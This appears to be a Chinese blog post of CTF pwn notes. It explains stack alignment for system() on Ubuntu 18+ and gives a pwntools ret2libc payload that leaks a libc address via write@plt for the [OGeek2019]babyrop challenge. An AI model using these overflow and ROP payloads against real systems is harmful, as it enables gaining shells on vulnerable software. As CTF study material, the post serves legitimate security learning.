Loading... ### Ubuntu 18+ system() 堆栈平衡 Ubuntu 18+ 的 `system` 库函数要求 `$rsp+0x40` 满足16字节对齐 解决方案:若 `system()` 中 `$rsp+0x40` 未对齐,可以在 payload 的目标地址前加一个任意位置的 `retn` 的地址 ```python b'a'*size + p64(retn_addr) + p64(system_addr) ``` 参考博客:https://www.cnblogs.com/Rookle/p/12871878.html ### ret2libc 暴露地址 如果 `write` 在 plt 表中,可利用它暴露一个 got 表中 libc 函数的实际地址 例题:[OGeek2019]babyrop ```python main_addr = 0x8048825 write_plt = elf.plt['write'] write_got = elf.got['write'] payload = b'a'*235 + p32(write_plt) + p32(main_addr) # 80487D0_ret write_ret payload += p32(1) + p32(write_got) + p32(4) # stdout got_addr size p.sendline(payload) write_addr = u32(p.recv(4)) base_addr = write_addr - libc.symbols['write'] system_addr = base_addr + libc.symbols['system'] shell_addr = base_addr + next(libc.search(b'/bin/sh\0')) ``` 最后修改:2021 年 12 月 03 日 © 允许规范转载 赞 1 如果觉得我的文章对你有用,请随意赞赏